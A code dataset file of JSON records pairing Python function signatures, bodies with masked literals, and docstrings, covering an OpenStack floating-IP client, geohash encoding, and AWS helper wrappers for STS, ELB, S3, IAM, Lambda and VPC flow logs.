{"signature": "def update_floating_ip(self, floating_ip, port_fixed_ips):", "body": "url = \"<STR_LIT>\" % (CONF.QUARK.floating_ip_base_url,<EOL>floating_ip[\"<STR_LIT>\"])<EOL>timeout = CONF.QUARK.unicorn_api_timeout_seconds<EOL>req = self._build_request_body(floating_ip, port_fixed_ips)<EOL>try:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>% (url, req))<EOL>r = requests.put(url, data=json.dumps(req), timeout=timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOG.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (floating_ip.id, e.message))<EOL>raise ex.RegisterFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>if r.status_code != <NUM_LIT:200> and r.status_code != <NUM_LIT>:<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\" % (r.status_code, r.json())<EOL>LOG.error(\"<STR_LIT>\" % msg)<EOL>raise ex.RegisterFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>", "docstring": "Update an existing floating ip with Unicorn\n\n        :param floating_ip: The quark.db.models.IPAddress to update\n        :param port_fixed_ips: A dictionary containing the port and fixed ips\n        to associate the floating IP with.  Has the structure of:\n        {\"<id of port>\": {\"port\": <quark.db.models.Port>,\n         \"fixed_ip\": \"<fixed ip address>\"}}\n        :return: None", "id": "f10798:c0:m3"}
{"signature": "def remove_floating_ip(self, floating_ip):", "body": "url = \"<STR_LIT>\" % (CONF.QUARK.floating_ip_base_url,<EOL>floating_ip.address_readable)<EOL>timeout = CONF.QUARK.unicorn_api_timeout_seconds<EOL>try:<EOL><INDENT>LOG.info(\"<STR_LIT>\" % url)<EOL>r = requests.delete(url, timeout=timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOG.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (floating_ip.id, e.message))<EOL>raise ex.RemoveFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>LOG.warn(\"<STR_LIT>\"<EOL>% floating_ip.address_readable)<EOL><DEDENT>elif r.status_code != <NUM_LIT>:<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\" % (r.status_code, r.json())<EOL>LOG.error(\"<STR_LIT>\" % msg)<EOL>raise ex.RemoveFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>", "docstring": "Register a floating ip with Unicorn\n\n        :param floating_ip: The quark.db.models.IPAddress to remove\n        :return: None", "id": "f10798:c0:m4"}
{"signature": "def decode_exactly(geohash):", "body": "lat_interval, lon_interval = (-<NUM_LIT>, <NUM_LIT>), (-<NUM_LIT>, <NUM_LIT>)<EOL>lat_err, lon_err = <NUM_LIT>, <NUM_LIT><EOL>is_even = True<EOL>for c in geohash:<EOL><INDENT>cd = __decodemap[c]<EOL>for mask in [<NUM_LIT:16>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:2>, <NUM_LIT:1>]:<EOL><INDENT>if is_even: <EOL><INDENT>lon_err /= <NUM_LIT:2><EOL>if cd & mask:<EOL><INDENT>lon_interval = ((lon_interval[<NUM_LIT:0>]+lon_interval[<NUM_LIT:1>])/<NUM_LIT:2>, lon_interval[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>lon_interval = (lon_interval[<NUM_LIT:0>], (lon_interval[<NUM_LIT:0>]+lon_interval[<NUM_LIT:1>])/<NUM_LIT:2>)<EOL><DEDENT><DEDENT>else:      <EOL><INDENT>lat_err /= <NUM_LIT:2><EOL>if cd & mask:<EOL><INDENT>lat_interval = ((lat_interval[<NUM_LIT:0>]+lat_interval[<NUM_LIT:1>])/<NUM_LIT:2>, lat_interval[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>lat_interval = (lat_interval[<NUM_LIT:0>], (lat_interval[<NUM_LIT:0>]+lat_interval[<NUM_LIT:1>])/<NUM_LIT:2>)<EOL><DEDENT><DEDENT>is_even = not is_even<EOL><DEDENT><DEDENT>lat = (lat_interval[<NUM_LIT:0>] + lat_interval[<NUM_LIT:1>]) / <NUM_LIT:2><EOL>lon = (lon_interval[<NUM_LIT:0>] + lon_interval[<NUM_LIT:1>]) / <NUM_LIT:2><EOL>return lat, lon, lat_err, lon_err<EOL>", "docstring": "Decode the geohash to its exact values, including the error\nmargins of the result.  Returns four float values: latitude,\nlongitude, the plus/minus error for latitude (as a positive\nnumber) and the plus/minus error for longitude (as a positive\nnumber).", "id": "f10801:m0"}
{"signature": "def decode(geohash):", "body": "lat, lon, lat_err, lon_err = decode_exactly(geohash)<EOL>lats = \"<STR_LIT>\" % (max(<NUM_LIT:1>, int(round(-log10(lat_err)))) - <NUM_LIT:1>, lat)<EOL>lons = \"<STR_LIT>\" % (max(<NUM_LIT:1>, int(round(-log10(lon_err)))) - <NUM_LIT:1>, lon)<EOL>if '<STR_LIT:.>' in lats: lats = lats.rstrip('<STR_LIT:0>')<EOL>if '<STR_LIT:.>' in lons: lons = lons.rstrip('<STR_LIT:0>')<EOL>return lats, lons<EOL>", "docstring": "Decode geohash, returning two strings with latitude and longitude\ncontaining only relevant digits and with trailing zeroes removed.", "id": "f10801:m1"}
{"signature": "def encode(latitude, longitude, precision=<NUM_LIT:12>):", "body": "lat_interval, lon_interval = (-<NUM_LIT>, <NUM_LIT>), (-<NUM_LIT>, <NUM_LIT>)<EOL>geohash = []<EOL>bits = [ <NUM_LIT:16>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:2>, <NUM_LIT:1> ]<EOL>bit = <NUM_LIT:0><EOL>ch = <NUM_LIT:0><EOL>even = True<EOL>while len(geohash) < precision:<EOL><INDENT>if even:<EOL><INDENT>mid = (lon_interval[<NUM_LIT:0>] + lon_interval[<NUM_LIT:1>]) / <NUM_LIT:2><EOL>if longitude > mid:<EOL><INDENT>ch |= bits[bit]<EOL>lon_interval = (mid, lon_interval[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>lon_interval = (lon_interval[<NUM_LIT:0>], mid)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mid = (lat_interval[<NUM_LIT:0>] + lat_interval[<NUM_LIT:1>]) / <NUM_LIT:2><EOL>if latitude > mid:<EOL><INDENT>ch |= bits[bit]<EOL>lat_interval = (mid, lat_interval[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>lat_interval = (lat_interval[<NUM_LIT:0>], mid)<EOL><DEDENT><DEDENT>even = not even<EOL>if bit < <NUM_LIT:4>:<EOL><INDENT>bit += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>geohash += __base32[ch]<EOL>bit = <NUM_LIT:0><EOL>ch = <NUM_LIT:0><EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(geohash)<EOL>", "docstring": "Encode a position given in float arguments latitude, longitude to\na geohash which will have the character count precision.", "id": "f10801:m2"}
{"signature": "@rate_limited()<EOL>def boto3_cached_conn(service, service_type='<STR_LIT>', future_expiration_minutes=<NUM_LIT:15>, account_number=None,<EOL>assume_role=None, session_name='<STR_LIT>', region='<STR_LIT>', return_credentials=False,<EOL>external_id=None, arn_partition='<STR_LIT>'):", "body": "key = (<EOL>account_number,<EOL>assume_role,<EOL>session_name,<EOL>external_id,<EOL>region,<EOL>service_type,<EOL>service,<EOL>arn_partition<EOL>)<EOL>if key in CACHE:<EOL><INDENT>retval = _get_cached_creds(key, service, service_type, region, future_expiration_minutes, return_credentials)<EOL>if retval:<EOL><INDENT>return retval<EOL><DEDENT><DEDENT>role = None<EOL>if assume_role:<EOL><INDENT>sts = boto3.session.Session().client('<STR_LIT>')<EOL>if not all([account_number, assume_role]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>arn = '<STR_LIT>'.format(<EOL>account_number,<EOL>assume_role,<EOL>partition=arn_partition<EOL>)<EOL>assume_role_kwargs = {<EOL>'<STR_LIT>': arn,<EOL>'<STR_LIT>': session_name<EOL>}<EOL>if external_id:<EOL><INDENT>assume_role_kwargs['<STR_LIT>'] = external_id<EOL><DEDENT>role = sts.assume_role(**assume_role_kwargs)<EOL><DEDENT>if service_type == '<STR_LIT>':<EOL><INDENT>conn = _client(service, region, role)<EOL><DEDENT>elif service_type == '<STR_LIT>':<EOL><INDENT>conn = _resource(service, region, role)<EOL><DEDENT>if role:<EOL><INDENT>CACHE[key] = role<EOL><DEDENT>if return_credentials:<EOL><INDENT>return conn, role['<STR_LIT>']<EOL><DEDENT>return conn<EOL>", "docstring": "Used to obtain a boto3 client or resource connection.\nFor cross account, provide both account_number and assume_role.\n\n:usage:\n\n# Same Account:\nclient = boto3_cached_conn('iam')\nresource = boto3_cached_conn('iam', service_type='resource')\n\n# Cross Account Client:\nclient = boto3_cached_conn('iam', account_number='000000000000', assume_role='role_name')\n\n# Cross Account Resource:\nresource = boto3_cached_conn('iam', service_type='resource', account_number='000000000000', assume_role='role_name')\n\n:param service: AWS service (i.e. 'iam', 'ec2', 'kms')\n:param service_type: 'client' or 'resource'\n:param future_expiration_minutes: Connections will expire from the cache\n    when their expiration is within this many minutes of the present time. [Default 15]\n:param account_number: Required if assume_role is provided.\n:param assume_role:  Name of the role to assume into for account described by account_number.\n:param session_name: Session name to attach to requests. [Default 'cloudaux']\n:param region: Region name for connection. [Default us-east-1]\n:param return_credentials: Indicates if the STS credentials should be returned with the client [Default False]\n:param external_id: Optional external id to pass to sts:AssumeRole.\n    See https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html\n:param arn_partition: Optional parameter to specify other aws partitions such as aws-us-gov for aws govcloud\n:return: boto3 client or resource connection", "id": "f10811:m4"}
{"signature": "def sts_conn(service, service_type='<STR_LIT>', future_expiration_minutes=<NUM_LIT:15>):", "body": "def decorator(f):<EOL><INDENT>@wraps(f)<EOL>def decorated_function(*args, **kwargs):<EOL><INDENT>if kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>kwargs[service_type] = kwargs.pop(\"<STR_LIT>\")<EOL>kwargs.pop(\"<STR_LIT>\", None)<EOL>kwargs.pop(\"<STR_LIT>\", None)<EOL><DEDENT>else:<EOL><INDENT>kwargs[service_type] = boto3_cached_conn(<EOL>service,<EOL>service_type=service_type,<EOL>future_expiration_minutes=future_expiration_minutes,<EOL>account_number=kwargs.pop('<STR_LIT>', None),<EOL>assume_role=kwargs.pop('<STR_LIT>', None),<EOL>session_name=kwargs.pop('<STR_LIT>', '<STR_LIT>'),<EOL>external_id=kwargs.pop('<STR_LIT>', None),<EOL>region=kwargs.pop('<STR_LIT>', '<STR_LIT>'),<EOL>arn_partition=kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL><DEDENT>return f(*args, **kwargs)<EOL><DEDENT>return decorated_function<EOL><DEDENT>return decorator<EOL>", "docstring": "This will wrap all calls with an STS AssumeRole if the required parameters are sent over.\nNamely, it requires the following in the kwargs:\n- Service Type (Required)\n- Account Number (Required for Assume Role)\n- IAM Role Name (Required for Assume Role)\n- Region (Optional, but recommended)\n- AWS Partition (Optional, defaults to 'aws' if none specified)\n- IAM Session Name (Optional, but recommended to appear in CloudTrail)\n\nIf `force_client` is set to a boto3 client, then this will simply pass that in as the client.\n`force_client` is mostly useful for mocks and tests.\n:param service:\n:param service_type:\n:param future_expiration_minutes:\n:return:", "id": "f10811:m5"}
{"signature": "@paginated('<STR_LIT>', response_pagination_marker='<STR_LIT>')<EOL>@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_load_balancers(arns=None, names=None, client=None):", "body": "kwargs = dict()<EOL>if arns:<EOL><INDENT>kwargs.update(dict(LoadBalancerArns=arns))<EOL><DEDENT>if names:<EOL><INDENT>kwargs.update(dict(Names=names))<EOL><DEDENT>return client.describe_load_balancers(**kwargs)<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeLoadBalancers", "id": "f10813:m0"}
{"signature": "@paginated('<STR_LIT>', response_pagination_marker='<STR_LIT>')<EOL>@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_listeners(load_balancer_arn=None, listener_arns=None, client=None):", "body": "kwargs = dict()<EOL>if load_balancer_arn:<EOL><INDENT>kwargs.update(dict(LoadBalancerArn=load_balancer_arn))<EOL><DEDENT>if listener_arns:<EOL><INDENT>kwargs.update(dict(ListenerArns=listener_arns))<EOL><DEDENT>return client.describe_listeners(**kwargs)<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeListeners", "id": "f10813:m1"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_load_balancer_attributes(arn, client=None):", "body": "return client.describe_load_balancer_attributes(<EOL>LoadBalancerArn=arn)['<STR_LIT>']<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeLoadBalancerAttributes", "id": "f10813:m2"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_rules(listener_arn=None, rule_arns=None, client=None):", "body": "kwargs = dict()<EOL>if listener_arn:<EOL><INDENT>kwargs.update(dict(ListenerArn=listener_arn))<EOL><DEDENT>if rule_arns:<EOL><INDENT>kwargs.update(dict(RuleArns=rule_arns))<EOL><DEDENT>return client.describe_rules(**kwargs)['<STR_LIT>']<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeRules", "id": "f10813:m3"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_tags(arns, client=None):", "body": "return client.describe_tags(ResourceArns=arns)['<STR_LIT>']<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeTags", "id": "f10813:m5"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_target_group_attributes(arn, client=None):", "body": "return client.describe_target_group_attributes(TargetGroupArn=arn)['<STR_LIT>']<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeTargetGroupAttributes", "id": "f10813:m6"}
{"signature": "@paginated('<STR_LIT>', response_pagination_marker='<STR_LIT>')<EOL>@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_target_groups(load_balancer_arn=None, target_group_arns=None, names=None, client=None):", "body": "kwargs = dict()<EOL>if load_balancer_arn:<EOL><INDENT>kwargs.update(LoadBalancerArn=load_balancer_arn)<EOL><DEDENT>if target_group_arns:<EOL><INDENT>kwargs.update(TargetGroupArns=target_group_arns)<EOL><DEDENT>if names:<EOL><INDENT>kwargs.update(Names=names)<EOL><DEDENT>return client.describe_target_groups(**kwargs)<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeTargetGroups", "id": "f10813:m7"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_target_health(target_group_arn, targets=None, client=None):", "body": "kwargs = dict(TargetGroupArn=target_group_arn)<EOL>if targets:<EOL><INDENT>kwargs.update(Targets=targets)<EOL><DEDENT>return client.describe_target_health(**kwargs)['<STR_LIT>']<EOL>", "docstring": "Permission: elasticloadbalancing:DescribeTargetHealth", "id": "f10813:m8"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_location(client=None, **kwargs):", "body": "return client.get_bucket_location(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m1"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_acl(client=None, **kwargs):", "body": "return client.get_bucket_acl(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m2"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_policy(client=None, **kwargs):", "body": "return client.get_bucket_policy(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m3"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_tagging(client=None, **kwargs):", "body": "return client.get_bucket_tagging(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m4"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_versioning(client=None, **kwargs):", "body": "return client.get_bucket_versioning(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m5"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_lifecycle_configuration(client=None, **kwargs):", "body": "return client.get_bucket_lifecycle_configuration(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m6"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_logging(client=None, **kwargs):", "body": "return client.get_bucket_logging(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m7"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_website(client=None, **kwargs):", "body": "return client.get_bucket_website(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m8"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_cors(client=None, **kwargs):", "body": "return client.get_bucket_cors(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m9"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_notification_configuration(client=None, **kwargs):", "body": "return client.get_bucket_notification_configuration(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m10"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_accelerate_configuration(client=None, **kwargs):", "body": "return client.get_bucket_accelerate_configuration(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m11"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def get_bucket_replication(client=None, **kwargs):", "body": "return client.get_bucket_replication(**kwargs)<EOL>", "docstring": "Bucket='string'", "id": "f10817:m12"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@paginated('<STR_LIT>', request_pagination_marker=\"<STR_LIT>\",<EOL>response_pagination_marker=\"<STR_LIT>\")<EOL>@rate_limited()<EOL>def list_bucket_analytics_configurations(client=None, **kwargs):", "body": "result = client.list_bucket_analytics_configurations(**kwargs)<EOL>if not result.get(\"<STR_LIT>\"):<EOL><INDENT>result.update({\"<STR_LIT>\": []})<EOL><DEDENT>return result<EOL>", "docstring": "Bucket='string'", "id": "f10817:m13"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@paginated('<STR_LIT>', request_pagination_marker=\"<STR_LIT>\",<EOL>response_pagination_marker=\"<STR_LIT>\")<EOL>@rate_limited()<EOL>def list_bucket_metrics_configurations(client=None, **kwargs):", "body": "result = client.list_bucket_metrics_configurations(**kwargs)<EOL>if not result.get(\"<STR_LIT>\"):<EOL><INDENT>result.update({\"<STR_LIT>\": []})<EOL><DEDENT>return result<EOL>", "docstring": "Bucket='string'", "id": "f10817:m14"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@paginated('<STR_LIT>', request_pagination_marker=\"<STR_LIT>\",<EOL>response_pagination_marker=\"<STR_LIT>\")<EOL>@rate_limited()<EOL>def list_bucket_inventory_configurations(client=None, **kwargs):", "body": "result = client.list_bucket_inventory_configurations(**kwargs)<EOL>if not result.get(\"<STR_LIT>\"):<EOL><INDENT>result.update({\"<STR_LIT>\": []})<EOL><DEDENT>return result<EOL>", "docstring": "Bucket='string'", "id": "f10817:m15"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@paginated('<STR_LIT>', request_pagination_marker=\"<STR_LIT>\",<EOL>response_pagination_marker=\"<STR_LIT>\")<EOL>@rate_limited()<EOL>def list_rules(client=None, **kwargs):", "body": "result = client.list_rules(**kwargs)<EOL>if not result.get(\"<STR_LIT>\"):<EOL><INDENT>result.update({\"<STR_LIT>\": []})<EOL><DEDENT>return result<EOL>", "docstring": "NamePrefix='string'", "id": "f10820:m0"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@rate_limited()<EOL>def describe_rule(client=None, **kwargs):", "body": "return client.describe_rule(**kwargs)<EOL>", "docstring": "Name='string'", "id": "f10820:m1"}
{"signature": "@sts_conn('<STR_LIT>')<EOL>@paginated('<STR_LIT>', request_pagination_marker=\"<STR_LIT>\",<EOL>response_pagination_marker=\"<STR_LIT>\")<EOL>@rate_limited()<EOL>def list_targets_by_rule(client=None, **kwargs):", "body": "result = client.list_targets_by_rule(**kwargs)<EOL>if not result.get(\"<STR_LIT>\"):<EOL><INDENT>result.update({\"<STR_LIT>\": []})<EOL><DEDENT>return result<EOL>", "docstring": "Rule='string'", "id": "f10820:m2"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@rate_limited()<EOL>def get_role_managed_policy_documents(role, client=None, **kwargs):", "body": "policies = get_role_managed_policies(role, force_client=client)<EOL>policy_names = (policy['<STR_LIT:name>'] for policy in policies)<EOL>delayed_gmpd_calls = (delayed(get_managed_policy_document)(policy['<STR_LIT>'], force_client=client) for policy<EOL>in policies)<EOL>policy_documents = Parallel(n_jobs=<NUM_LIT:20>, backend=\"<STR_LIT>\")(delayed_gmpd_calls)<EOL>return dict(zip(policy_names, policy_documents))<EOL>", "docstring": "Retrieve the currently active policy version document for every managed policy that is attached to the role.", "id": "f10821:m12"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@rate_limited()<EOL>def get_managed_policy_document(policy_arn, policy_metadata=None, client=None, **kwargs):", "body": "if not policy_metadata:<EOL><INDENT>policy_metadata = client.get_policy(PolicyArn=policy_arn)<EOL><DEDENT>policy_document = client.get_policy_version(PolicyArn=policy_arn,<EOL>VersionId=policy_metadata['<STR_LIT>']['<STR_LIT>'])<EOL>return policy_document['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Retrieve the currently active (i.e. 'default') policy version document for a policy.\n\n    :param policy_arn:\n    :param policy_metadata: This is a previously fetch managed policy response from boto/cloudaux.\n                            This is used to prevent unnecessary API calls to get the initial policy default version id.\n    :param client:\n    :param kwargs:\n    :return:", "id": "f10821:m13"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@rate_limited()<EOL>def get_policy(policy_arn, client=None, **kwargs):", "body": "return client.get_policy(PolicyArn=policy_arn, **kwargs)<EOL>", "docstring": "Retrieve the IAM Managed Policy.", "id": "f10821:m14"}
{"signature": "@paginated('<STR_LIT>')<EOL>@rate_limited()<EOL>def _get_users_for_group(client, **kwargs):", "body": "return client.get_group(**kwargs)<EOL>", "docstring": "Fetch the paginated users attached to the group.", "id": "f10821:m34"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@rate_limited()<EOL>def get_group(group_name, users=True, client=None, **kwargs):", "body": "<EOL>result = client.get_group(GroupName=group_name, **kwargs)<EOL>if users:<EOL><INDENT>if result.get('<STR_LIT>'):<EOL><INDENT>kwargs_to_send = {'<STR_LIT>': group_name}<EOL>kwargs_to_send.update(kwargs)<EOL>user_list = result['<STR_LIT>']<EOL>kwargs_to_send['<STR_LIT>'] = result['<STR_LIT>']<EOL>result['<STR_LIT>'] = user_list + _get_users_for_group(client, **kwargs_to_send)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result.pop('<STR_LIT>', None)<EOL>result.pop('<STR_LIT>', None)<EOL>result.pop('<STR_LIT>', None)<EOL><DEDENT>return result<EOL>", "docstring": "Get's the IAM Group details.\n\n    :param group_name:\n    :param users: Optional -- will return the IAM users that the group is attached to if desired (paginated).\n    :param client:\n    :param kwargs:\n    :return:", "id": "f10821:m35"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@paginated('<STR_LIT>')<EOL>@rate_limited()<EOL>def list_group_policies(group_name, client=None, **kwargs):", "body": "return client.list_group_policies(GroupName=group_name, **kwargs)<EOL>", "docstring": "Lets the IAM group inline policies for a given group.", "id": "f10821:m36"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@rate_limited()<EOL>def get_group_policy_document(group_name, policy_name, client=None, **kwargs):", "body": "return client.get_group_policy(GroupName=group_name, PolicyName=policy_name, **kwargs)['<STR_LIT>']<EOL>", "docstring": "Fetches the specific IAM group inline-policy document.", "id": "f10821:m37"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@paginated('<STR_LIT>')<EOL>@rate_limited()<EOL>def list_attached_group_managed_policies(group_name, client=None, **kwargs):", "body": "return client.list_attached_group_policies(GroupName=group_name, **kwargs)<EOL>", "docstring": "Lists the attached IAM managed policies for a given IAM group.", "id": "f10821:m38"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@paginated('<STR_LIT>')<EOL>@rate_limited()<EOL>def list_groups_for_user(user_name, client=None, **kwargs):", "body": "return client.list_groups_for_user(UserName=user_name, **kwargs)<EOL>", "docstring": "Lists the IAM groups that is attached to a given IAM user.", "id": "f10821:m39"}
{"signature": "@sts_conn('<STR_LIT>', service_type='<STR_LIT>')<EOL>@paginated('<STR_LIT>')<EOL>@rate_limited()<EOL>def list_server_certificates(client=None, **kwargs):", "body": "return client.list_server_certificates(**kwargs)<EOL>", "docstring": "Lists the IAM Server Certificates (IAM SSL) for a given AWS account.", "id": "f10821:m40"}
{"signature": "@openstack_conn()<EOL>def list_items(conn=None, **kwargs):", "body": "return [x for x in getattr( getattr( conn, kwargs.pop('<STR_LIT>') ),<EOL>kwargs.pop('<STR_LIT>'))(**kwargs)]<EOL>", "docstring": ":rtype: ``list``", "id": "f10835:m0"}
{"signature": "@registry.register(flag=FLAGS.POLICY, depends_on=FLAGS.VERSIONS, key='<STR_LIT>')<EOL>def _get_policy(lambda_function, **conn):", "body": "policies = dict(Versions=dict(), Aliases=dict(), DEFAULT=dict())<EOL>for version in [v['<STR_LIT>'] for v in lambda_function['<STR_LIT>']]:<EOL><INDENT>try:<EOL><INDENT>policies['<STR_LIT>'][version] = get_policy(FunctionName=lambda_function['<STR_LIT>'], Qualifier=version, **conn)<EOL>policies['<STR_LIT>'][version] = json.loads(policies['<STR_LIT>'][version])<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for alias in [v['<STR_LIT:Name>'] for v in lambda_function['<STR_LIT>']]:<EOL><INDENT>try:<EOL><INDENT>policies['<STR_LIT>'][alias] = get_policy(FunctionName=lambda_function['<STR_LIT>'], Qualifier=alias, **conn)<EOL>policies['<STR_LIT>'][alias] = json.loads(policies['<STR_LIT>'][alias])<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>policies['<STR_LIT>'] = get_policy(FunctionName=lambda_function['<STR_LIT>'], **conn)<EOL>policies['<STR_LIT>'] = json.loads(policies['<STR_LIT>'])<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT>return policies<EOL>", "docstring": "Get LambdaFunction Policies.  (there can be many of these!)\n\n    Lambda Function Policies are overly complicated.  They can be attached to a label,\n    a version, and there is also a default policy.\n\n    This method attempts to gather all three types.\n\n    AWS returns an exception if the policy requested does not exist.  We catch and ignore these exceptions.", "id": "f10837:m0"}
{"signature": "@modify_output<EOL>def get_lambda_function(lambda_function, flags=FLAGS.ALL, **conn):", "body": "<EOL>try:<EOL><INDENT>basestring<EOL><DEDENT>except NameError as _:<EOL><INDENT>basestring = str<EOL><DEDENT>if isinstance(lambda_function, basestring):<EOL><INDENT>lambda_function_arn = ARN(lambda_function)<EOL>if lambda_function_arn.error:<EOL><INDENT>lambda_function = dict(FunctionName=lambda_function)<EOL><DEDENT>else:<EOL><INDENT>lambda_function = dict(FunctionName=lambda_function_arn.name, FunctionArn=lambda_function)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in lambda_function:<EOL><INDENT>lambda_function_arn = ARN(lambda_function['<STR_LIT>'])<EOL>if not lambda_function_arn.error:<EOL><INDENT>if lambda_function_arn.account_number:<EOL><INDENT>conn['<STR_LIT>'] = lambda_function_arn.account_number<EOL><DEDENT>if lambda_function_arn.region:<EOL><INDENT>conn['<STR_LIT>'] = lambda_function_arn.region<EOL><DEDENT><DEDENT><DEDENT>return registry.build_out(flags, start_with=lambda_function, pass_datastructure=True, **conn)<EOL>", "docstring": "Fully describes a lambda function.\n\n    Args:\n        lambda_function: Name, ARN, or dictionary of lambda function. If dictionary, should likely be the return value from list_functions. At a minimum, must contain a key titled 'FunctionName'.\n        flags: Flags describing which sections should be included in the return value. Default ALL\n\n    Returns:\n        dictionary describing the requested lambda function.", "id": "f10837:m6"}
{"signature": "@registry.register(flag=FLAGS.FLOW_LOGS, depends_on=FLAGS.BASE, key=\"<STR_LIT>\")<EOL>def get_vpc_flow_logs(vpc, **conn):", "body": "fl_result = describe_flow_logs(Filters=[{\"<STR_LIT:Name>\": \"<STR_LIT>\", \"<STR_LIT>\": [vpc[\"<STR_LIT:id>\"]]}], **conn)<EOL>fl_ids = []<EOL>for fl in fl_result:<EOL><INDENT>fl_ids.append(fl[\"<STR_LIT>\"])<EOL><DEDENT>return fl_ids<EOL>", "docstring": "Gets the VPC Flow Logs for a VPC", "id": "f10838:m0"}
